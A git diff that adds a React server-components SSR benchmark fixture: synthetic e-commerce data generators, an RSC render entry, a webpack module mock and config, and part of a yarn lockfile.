diff --git a/fixtures/flight-ssr-bench/src/components/data.js b/fixtures/flight-ssr-bench/src/components/data.js
new file mode 100644
index 000000000000..2456c67e2f8a
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/data.js
@@ -0,0 +1,293 @@
+const categories = [
+  'Electronics',
+  'Clothing',
+  'Home & Garden',
+  'Sports',
+  'Books',
+  'Toys',
+  'Food',
+  'Health',
+];
+const statuses = ['In Stock', 'Low Stock', 'Out of Stock', 'Discontinued'];
+const activityTypes = [
+  'order_placed',
+  'order_shipped',
+  'order_delivered',
+  'refund_requested',
+  'review_posted',
+  'product_added',
+  'stock_alert',
+  'payment_received',
+];
+const userNames = [
+  'Alice Johnson',
+  'Bob Williams',
+  'Carol Davis',
+  'Dan Miller',
+  'Eve Wilson',
+  'Frank Moore',
+  'Grace Taylor',
+  'Henry Anderson',
+  'Iris Thomas',
+  'Jack Jackson',
+];
+const reviewTexts = [
+  'Great product, exactly what I needed. The quality exceeded my expectations and shipping was fast.',
+  'Decent value for the price. Some minor issues with packaging but the product itself works well.',
+  'Not what I expected based on the description. Returning this item for a refund.',
+  'Outstanding quality and craftsmanship. Would highly recommend to anyone looking for this type of item.',
+  'Average product, nothing special. Does what it says but nothing more than that.',
+];
+
+export function generateProducts(count) {
+  const products = [];
+  for (let i = 0; i < count; i++) {
+    products.push({
+      id: i,
+      name: 'Product ' + i,
+      sku: 'SKU-' + String(i).padStart(6, '0'),
+      price: (((i * 17 + 3) % 9999) / 100).toFixed(2),
+      category: categories[i % categories.length],
+      status: statuses[i % statuses.length],
+      stock: (i * 7 + 13) % 500,
+      rating: (((i * 3 + 1) % 50) / 10).toFixed(1),
+      reviewCount: (i * 13 + 5) % 200,
+      description:
+        'This is a detailed description for product ' +
+        i +
+        '. It includes specifications, features, and other relevant information that a customer might need.',
+      tags: [
+        categories[(i + 1) % categories.length].toLowerCase(),
+        i % 2 === 0 ? 'featured' : 'new',
+        i % 3 === 0 ? 'sale' : 'regular',
+      ],
+      dimensions: {
+        weight: ((i * 3 + 1) % 100) / 10,
+        width: ((i * 7 + 2) % 50) + 5,
+        height: ((i * 11 + 3) % 40) + 5,
+        depth: ((i * 13 + 4) % 30) + 2,
+        unit: 'cm',
+      },
+      supplier: {
+        name: 'Supplier ' + (i % 20),
+        leadTime: (i % 14) + 1 + ' days',
+        minOrder: ((i * 3) % 50) + 10,
+        contact: 'supplier' + (i % 20) + '@example.com',
+        address: {
+          street: ((100 + i * 7) % 9999) + ' Industrial Blvd',
+          city: ['Portland', 'Austin', 'Denver', 'Seattle', 'Boston'][i % 5],
+          state: ['OR', 'TX', 'CO', 'WA', 'MA'][i % 5],
+          zip: String(10000 + ((i * 37) % 89999)),
+        },
+      },
+      specifications: {
+        material: ['Aluminum', 'Plastic', 'Steel', 'Wood', 'Carbon Fiber'][
+          i % 5
+        ],
+        color: ['Black', 'White', 'Silver', 'Blue', 'Red', 'Green'][i % 6],
+        warranty: (i % 3) + 1 + ' years',
+        certifications: [
+          i % 2 === 0 ? 'CE' : 'FCC',
+          i % 3 === 0 ? 'RoHS' : 'UL',
+          'ISO 9001',
+        ],
+      },
+      reviews: [
+        {
+          author: userNames[(i * 3) % userNames.length],
+          rating: ((i * 7 + 3) % 5) + 1,
+          date:
+            '2026-0' +
+            ((i % 3) + 1) +
+            '-' +
+            String((i % 28) + 1).padStart(2, '0'),
+          text: reviewTexts[i % reviewTexts.length],
+          helpful: (i * 11 + 2) % 50,
+        },
+        {
+          author: userNames[(i * 3 + 1) % userNames.length],
+          rating: ((i * 11 + 1) % 5) + 1,
+          date:
+            '2026-0' +
+            ((i % 3) + 1) +
+            '-' +
+            String(((i + 5) % 28) + 1).padStart(2, '0'),
+          text: reviewTexts[(i + 2) % reviewTexts.length],
+          helpful: (i * 7 + 5) % 30,
+        },
+        {
+          author: userNames[(i * 3 + 2) % userNames.length],
+          rating: ((i * 13 + 2) % 5) + 1,
+          date:
+            '2026-0' +
+            ((i % 3) + 1) +
+            '-' +
+            String(((i + 10) % 28) + 1).padStart(2, '0'),
+          text: reviewTexts[(i + 4) % reviewTexts.length],
+          helpful: (i * 3 + 1) % 20,
+        },
+      ],
+    });
+  }
+  return products;
+}
+
+export function generateActivities(count) {
+  const activities = [];
+  for (let i = 0; i < count; i++) {
+    activities.push({
+      id: i,
+      type: activityTypes[i % activityTypes.length],
+      user: userNames[i % userNames.length],
+      timestamp:
+        '2026-03-' +
+        String((i % 28) + 1).padStart(2, '0') +
+        'T' +
+        String((i * 7) % 24).padStart(2, '0') +
+        ':' +
+        String((i * 13) % 60).padStart(2, '0') +
+        ':00Z',
+      details: {
+        orderId: '#' + String(10000 + i),
+        amount: '$' + ((i * 23 + 7) % 999).toFixed(2),
+        items: ((i * 3 + 1) % 5) + 1,
+        shippingMethod: ['Standard', 'Express', 'Overnight', 'Economy'][i % 4],
+        paymentMethod: ['Credit Card', 'PayPal', 'Apple Pay', 'Wire Transfer'][
+          i % 4
+        ],
+      },
+      message:
+        userNames[i % userNames.length] +
+        ' ' +
+        activityTypes[i % activityTypes.length].replace(/_/g, ' ') +
+        ' for order #' +
+        (10000 + i),
+    });
+  }
+  return activities;
+}
+
+export function generateStats() {
+  return {
+    totalRevenue: '$1,284,320.50',
+    totalOrders: 8432,
+    totalCustomers: 3841,
+    conversionRate: '3.2%',
+    avgOrderValue: '$152.30',
+    returnsRate: '2.1%',
+    cards: [
+      {
+        title: 'Total Revenue',
+        value: '$1,284,320',
+        change: '+12.5%',
+        trend: 'up',
+        sparkline: [65, 59, 80, 81, 56, 55, 72, 84, 91, 88, 95, 102],
+      },
+      {
+        title: 'Orders',
+        value: '8,432',
+        change: '+8.2%',
+        trend: 'up',
+        sparkline: [28, 48, 40, 19, 86, 27, 90, 65, 72, 81, 56, 88],
+      },
+      {
+        title: 'Customers',
+        value: '3,841',
+        change: '+4.1%',
+        trend: 'up',
+        sparkline: [12, 19, 25, 32, 28, 35, 42, 38, 45, 51, 48, 55],
+      },
+      {
+        title: 'Conversion Rate',
+        value: '3.2%',
+        change: '-0.3%',
+        trend: 'down',
+        sparkline: [3.8, 3.5, 3.2, 3.6, 3.1, 3.4, 3.0, 3.3, 3.5, 3.2, 3.1, 3.2],
+      },
+    ],
+    revenueByMonth: [
+      {month: 'Jan 25', value: 72000, orders: 480, returns: 24},
+      {month: 'Feb 25', value: 78000, orders: 520, returns: 31},
+      {month: 'Mar 25', value: 85000, orders: 567, returns: 28},
+      {month: 'Apr 25', value: 92000, orders: 613, returns: 35},
+      {month: 'May 25', value: 88000, orders: 587, returns: 29},
+      {month: 'Jun 25', value: 105000, orders: 700, returns: 42},
+      {month: 'Jul 25', value: 112000, orders: 747, returns: 38},
+      {month: 'Aug 25', value: 98000, orders: 653, returns: 33},
+      {month: 'Sep 25', value: 115000, orders: 767, returns: 41},
+      {month: 'Oct 25', value: 108000, orders: 720, returns: 36},
+      {month: 'Nov 25', value: 120000, orders: 800, returns: 44},
+      {month: 'Dec 25', value: 118320, orders: 789, returns: 39},
+      {month: 'Jan 26', value: 85000, orders: 567, returns: 28},
+      {month: 'Feb 26', value: 92000, orders: 613, returns: 32},
+      {month: 'Mar 26', value: 95000, orders: 633, returns: 30},
+      {month: 'Apr 26', value: 110000, orders: 733, returns: 37},
+      {month: 'May 26', value: 118000, orders: 787, returns: 40},
+      {month: 'Jun 26', value: 105000, orders: 700, returns: 35},
+      {month: 'Jul 26', value: 122000, orders: 813, returns: 43},
+      {month: 'Aug 26', value: 115000, orders: 767, returns: 38},
+      {month: 'Sep 26', value: 128000, orders: 853, returns: 45},
+      {month: 'Oct 26', value: 125000, orders: 833, returns: 42},
+      {month: 'Nov 26', value: 135000, orders: 900, returns: 47},
+      {month: 'Dec 26', value: 130000, orders: 867, returns: 44},
+    ],
+    topCategories: [
+      {
+        name: 'Electronics',
+        revenue: 420000,
+        orders: 2800,
+        avgPrice: 150,
+        growth: '+15.2%',
+      },
+      {
+        name: 'Clothing',
+        revenue: 310000,
+        orders: 2100,
+        avgPrice: 147.6,
+        growth: '+8.7%',
+      },
+      {
+        name: 'Home & Garden',
+        revenue: 225000,
+        orders: 1500,
+        avgPrice: 150,
+        growth: '+12.1%',
+      },
+      {
+        name: 'Sports',
+        revenue: 180000,
+        orders: 1200,
+        avgPrice: 150,
+        growth: '+5.3%',
+      },
+      {
+        name: 'Books',
+        revenue: 149320,
+        orders: 832,
+        avgPrice: 179.5,
+        growth: '+2.1%',
+      },
+      {
+        name: 'Toys',
+        revenue: 95000,
+        orders: 680,
+        avgPrice: 139.7,
+        growth: '+18.4%',
+      },
+      {
+        name: 'Food',
+        revenue: 82000,
+        orders: 1640,
+        avgPrice: 50,
+        growth: '+6.8%',
+      },
+      {
+        name: 'Health',
+        revenue: 73000,
+        orders: 520,
+        avgPrice: 140.4,
+        growth: '+22.1%',
+      },
+    ],
+  };
+}
diff --git a/fixtures/flight-ssr-bench/src/entry-rsc.js b/fixtures/flight-ssr-bench/src/entry-rsc.js
new file mode 100644
index 000000000000..f96897cb6cfc
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/entry-rsc.js
@@ -0,0 +1,22 @@
+import {
+  renderToPipeableStream,
+  renderToReadableStream,
+} from 'react-server-dom-webpack/server';
+import App from './App';
+import AppAsync from './AppAsync';
+
+export function renderRSCNode(clientManifest, Component, itemCount) {
+  return renderToPipeableStream(
+    <Component itemCount={itemCount} />,
+    clientManifest
+  );
+}
+
+export function renderRSCEdge(clientManifest, Component, itemCount) {
+  return renderToReadableStream(
+    <Component itemCount={itemCount} />,
+    clientManifest
+  );
+}
+
+export {App, AppAsync};
diff --git a/fixtures/flight-ssr-bench/webpack-mock.js b/fixtures/flight-ssr-bench/webpack-mock.js
new file mode 100644
index 000000000000..8a5a0e39f4e8
--- /dev/null
+++ b/fixtures/flight-ssr-bench/webpack-mock.js
@@ -0,0 +1,62 @@
+'use strict';
+
+const path = require('path');
+const url = require('url');
+const fs = require('fs');
+
+const clientModules = {};
+const clientManifest = {};
+const ssrModuleMap = {};
+let moduleIdx = 0;
+
+function registerClientModule(modulePath) {
+  const id = String(moduleIdx++);
+  const chunkId = 'chunk-' + id;
+  const absPath = path.resolve(__dirname, modulePath);
+  const actualExports = require(absPath);
+  clientModules[id] = actualExports;
+
+  const href = url.pathToFileURL(absPath).href;
+  clientManifest[href] = {id, chunks: [chunkId, absPath], name: '*'};
+  ssrModuleMap[id] = {'*': {id, chunks: [chunkId, absPath], name: '*'}};
+}
+
+// Auto-register all 'use client' components by scanning src/
+const srcDirs = [
+  path.resolve(__dirname, 'src'),
+  path.resolve(__dirname, 'src/components'),
+];
+for (const dir of srcDirs) {
+  if (!fs.existsSync(dir)) continue;
+  for (const file of fs.readdirSync(dir)) {
+    if (!file.endsWith('.js')) continue;
+    const filePath = path.join(dir, file);
+    const source = fs.readFileSync(filePath, 'utf-8');
+    if (
+      source.trimStart().startsWith("'use client'") ||
+      source.trimStart().startsWith('"use client"')
+    ) {
+      registerClientModule(filePath);
+    }
+  }
+}
+
+global.__webpack_require__ = function (id) {
+  if (clientModules[id]) {
+    return clientModules[id];
+  }
+  throw new Error('Unknown module: ' + id);
+};
+global.__webpack_chunk_load__ = function () {
+  return new Promise(function (resolve) {
+    setImmediate(resolve);
+  });
+};
+
+const ssrManifest = {
+  moduleMap: ssrModuleMap,
+  moduleLoading: null,
+  serverModuleMap: null,
+};
+
+module.exports = {clientManifest, ssrManifest};
diff --git a/fixtures/flight-ssr-bench/webpack.config.js b/fixtures/flight-ssr-bench/webpack.config.js
new file mode 100644
index 000000000000..c3edd3ecba6a
--- /dev/null
+++ b/fixtures/flight-ssr-bench/webpack.config.js
@@ -0,0 +1,45 @@
+'use strict';
+
+const path = require('path');
+
+module.exports = {
+  name: 'rsc',
+  target: 'node',
+  entry: './src/entry-rsc.js',
+  output: {
+    path: path.resolve(__dirname, 'build'),
+    filename: 'rsc-bundle.js',
+    library: {type: 'commonjs2'},
+    clean: true,
+  },
+  resolve: {
+    // This is the key: react-server condition makes `react` resolve to the
+    // server variant that supports async components, server references, etc.
+    conditionNames: ['react-server', 'node', 'require'],
+    extensions: ['.js', '.jsx'],
+  },
+  module: {
+    rules: [
+      {
+        // Custom loader that replaces 'use client' modules with client
+        // reference proxies. Must run before babel.
+        enforce: 'pre',
+        test: /\.jsx?$/,
+        exclude: /node_modules/,
+        loader: path.resolve(__dirname, 'rsc-client-ref-loader.js'),
+      },
+      {
+        test: /\.jsx?$/,
+        exclude: /node_modules/,
+        loader: require.resolve('babel-loader'),
+        options: {
+          presets: [['@babel/preset-react', {runtime: 'automatic'}]],
+        },
+      },
+    ],
+  },
+  // Production mode but no minification — we want optimized code paths
+  // but readable profiles and a fair comparison between approaches.
+  mode: 'production',
+  optimization: {minimize: false},
+};
diff --git a/fixtures/flight-ssr-bench/yarn.lock b/fixtures/flight-ssr-bench/yarn.lock
new file mode 100644
index 000000000000..b6aad5da2dd8
--- /dev/null
+++ b/fixtures/flight-ssr-bench/yarn.lock
@@ -0,0 +1,1463 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@assemblyscript/loader@^0.19.21":
+  version "0.19.23"
+  resolved "https://registry.yarnpkg.com/@assemblyscript/loader/-/loader-0.19.23.tgz#7fccae28d0a2692869f1d1219d36093bc24d5e72"
+  integrity sha512-ulkCYfFbYj01ie1MDOyxv2F6SpRN1TOj7fQxbP07D6HmeR+gr2JLSmINKjga2emB+b1L2KGrFKBTc+e00p54nw==
+
+"@babel/code-frame@^7.28.6", "@babel/code-frame@^7.29.0":
+  version "7.29.0"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.29.0.tgz#7cd7a59f15b3cc0dcd803038f7792712a7d0b15c"
+  integrity sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.28.5"
+    js-tokens "^4.0.0"
+    picocolors "^1.1.1"
+
+"@babel/compat-data@^7.28.6":
+  version "7.29.0"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.29.0.tgz#00d03e8c0ac24dd9be942c5370990cbe1f17d88d"
+  integrity sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==
+
+"@babel/core@^7.16.0":
+  version "7.29.0"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.29.0.tgz#5286ad785df7f79d656e88ce86e650d16ca5f322"
+  integrity sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==
+  dependencies:
+    "@babel/code-frame" "^7.29.0"
+    "@babel/generator" "^7.29.0"
+    "@babel/helper-compilation-targets" "^7.28.6"
+    "@babel/helper-module-transforms" "^7.28.6"
+    "@babel/helpers" "^7.28.6"
+    "@babel/parser" "^7.29.0"
+    "@babel/template" "^7.28.6"
+    "@babel/traverse" "^7.29.0"
+    "@babel/types" "^7.29.0"
+    "@jridgewell/remapping" "^2.3.5"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/generator@^7.29.0":
+  version "7.29.1"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.29.1.tgz#d09876290111abbb00ef962a7b83a5307fba0d50"
+  integrity sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==
+  dependencies:
+    "@babel/parser" "^7.29.0"
+    "@babel/types" "^7.29.0"
+    "@jridgewell/gen-mapping" "^0.3.12"
+    "@jridgewell/trace-mapping" "^0.3.28"
+    jsesc "^3.0.2"
+
+"@babel/helper-annotate-as-pure@^7.27.1", "@babel/helper-annotate-as-pure@^7.27.3":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz#f31fd86b915fc4daf1f3ac6976c59be7084ed9c5"
+  integrity sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==
+  dependencies:
+    "@babel/types" "^7.27.3"
+
+"@babel/helper-compilation-targets@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz#32c4a3f41f12ed1532179b108a4d746e105c2b25"
+  integrity sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==
+  dependencies:
+    "@babel/compat-data" "^7.28.6"
+    "@babel/helper-validator-option" "^7.27.1"
+    browserslist "^4.24.0"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
+"@babel/helper-globals@^7.28.0":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-globals/-/helper-globals-7.28.0.tgz#b9430df2aa4e17bc28665eadeae8aa1d985e6674"
+  integrity sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==
+
+"@babel/helper-module-imports@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz#60632cbd6ffb70b22823187201116762a03e2d5c"
+  integrity sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==
+  dependencies:
+    "@babel/traverse" "^7.28.6"
+    "@babel/types" "^7.28.6"
+
+"@babel/helper-module-transforms@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz#9312d9d9e56edc35aeb6e95c25d4106b50b9eb1e"
+  integrity sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==
+  dependencies:
+    "@babel/helper-module-imports" "^7.28.6"
+    "@babel/helper-validator-identifier" "^7.28.5"
+    "@babel/traverse" "^7.28.6"
+
+"@babel/helper-plugin-utils@^7.27.1", "@babel/helper-plugin-utils@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz#6f13ea251b68c8532e985fd532f28741a8af9ac8"
+  integrity sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==
+
+"@babel/helper-string-parser@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687"
+  integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==
+
+"@babel/helper-validator-identifier@^7.28.5":
+  version "7.28.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz#010b6938fab7cb7df74aa2bbc06aa503b8fe5fb4"
+  integrity sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==
+
+"@babel/helper-validator-option@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz#fa52f5b1e7db1ab049445b421c4471303897702f"
+  integrity sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==
+
+"@babel/helpers@^7.28.6":
+  version "7.29.2"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.29.2.tgz#9cfbccb02b8e229892c0b07038052cc1a8709c49"
+  integrity sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==
+  dependencies:
+    "@babel/template" "^7.28.6"
+    "@babel/types" "^7.29.0"
+
+"@babel/parser@^7.28.6", "@babel/parser@^7.29.0":
+  version "7.29.2"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.29.2.tgz#58bd50b9a7951d134988a1ae177a35ef9a703ba1"
+  integrity sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==
+  dependencies:
+    "@babel/types" "^7.29.0"
+
+"@babel/plugin-syntax-jsx@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz#f8ca28bbd84883b5fea0e447c635b81ba73997ee"
+  integrity sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.28.6"
+
+"@babel/plugin-transform-react-display-name@^7.28.0":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.28.0.tgz#6f20a7295fea7df42eb42fed8f896813f5b934de"
+  integrity sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.27.1"
+
+"@babel/plugin-transform-react-jsx-development@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.27.1.tgz#47ff95940e20a3a70e68ad3d4fcb657b647f6c98"
+  integrity sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q==
+  dependencies:
+    "@babel/plugin-transform-react-jsx" "^7.27.1"
+
+"@babel/plugin-transform-react-jsx@^7.27.1":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.28.6.tgz#f51cb70a90b9529fbb71ee1f75ea27b7078eed62"
+  integrity sha512-61bxqhiRfAACulXSLd/GxqmAedUSrRZIu/cbaT18T1CetkTmtDN15it7i80ru4DVqRK1WMxQhXs+Lf9kajm5Ow==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.27.3"
+    "@babel/helper-module-imports" "^7.28.6"
+    "@babel/helper-plugin-utils" "^7.28.6"
+    "@babel/plugin-syntax-jsx" "^7.28.6"
+    "@babel/types" "^7.28.6"
+
+"@babel/plugin-transform-react-pure-annotations@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.27.1.tgz#339f1ce355eae242e0649f232b1c68907c02e879"
+  integrity sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.27.1"
+    "@babel/helper-plugin-utils" "^7.27.1"
+
+"@babel/preset-react@^7.22.5":
+  version "7.28.5"
+  resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.28.5.tgz#6fcc0400fa79698433d653092c3919bb4b0878d9"
+  integrity sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.27.1"
+    "@babel/helper-validator-option" "^7.27.1"
+    "@babel/plugin-transform-react-display-name" "^7.28.0"
+    "@babel/plugin-transform-react-jsx" "^7.27.1"
+    "@babel/plugin-transform-react-jsx-development" "^7.27.1"
+    "@babel/plugin-transform-react-pure-annotations" "^7.27.1"
+
+"@babel/register@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/register/-/register-7.28.6.tgz#f54461dd32f6a418c1eb1f583c95ed0b7266ea4c"
+  integrity sha512-pgcbbEl/dWQYb6L6Yew6F94rdwygfuv+vJ/tXfwIOYAfPB6TNWpXUMEtEq3YuTeHRdvMIhvz13bkT9CNaS+wqA==
+  dependencies:
+    clone-deep "^4.0.1"
+    find-cache-dir "^2.0.0"
+    make-dir "^2.1.0"
+    pirates "^4.0.6"
+    source-map-support "^0.5.16"
+
+"@babel/template@^7.28.6":
+  version "7.28.6"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.28.6.tgz#0e7e56ecedb78aeef66ce7972b082fce76a23e57"
+  integrity sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==
+  dependencies:
+    "@babel/code-frame" "^7.28.6"
+    "@babel/parser" "^7.28.6"
+    "@babel/types" "^7.28.6"
+
+"@babel/traverse@^7.28.6", "@babel/traverse@^7.29.0":
+  version "7.29.0"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.29.0.tgz#f323d05001440253eead3c9c858adbe00b90310a"
+  integrity sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==
+  dependencies:
+    "@babel/code-frame" "^7.29.0"
+    "@babel/generator" "^7.29.0"
+    "@babel/helper-globals" "^7.28.0"
+    "@babel/parser" "^7.29.0"
+    "@babel/template" "^7.28.6"
+    "@babel/types" "^7.29.0"
+    debug "^4.3.1"
+
+"@babel/types@^7.27.3", "@babel/types@^7.28.6", "@babel/types@^7.29.0":
+  version "7.29.0"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.29.0.tgz#9f5b1e838c446e72cf3cd4b918152b8c605e37c7"
+  integrity sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==
+  dependencies:
+    "@babel/helper-string-parser" "^7.27.1"
+    "@babel/helper-validator-identifier" "^7.28.5"
+
+"@colors/colors@1.5.0":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@colors/colors/-/colors-1.5.0.tgz#bb504579c1cae923e6576a4f5da43d25f97bdbd9"
+  integrity sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==
+
+"@jridgewell/gen-mapping@^0.3.12", "@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.13"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz#6342a19f44347518c93e43b1ac69deb3c4656a1f"
+  integrity sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==
+  dependencies:
+    "@jridgewell/sourcemap-codec" "^1.5.0"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/remapping@^2.3.5":
+  version "2.3.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/remapping/-/remapping-2.3.5.tgz#375c476d1972947851ba1e15ae8f123047445aa1"
+  integrity sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
+"@jridgewell/source-map@^0.3.3":
+  version "0.3.11"
+  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.11.tgz#b21835cbd36db656b857c2ad02ebd413cc13a9ba"
+  integrity sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+
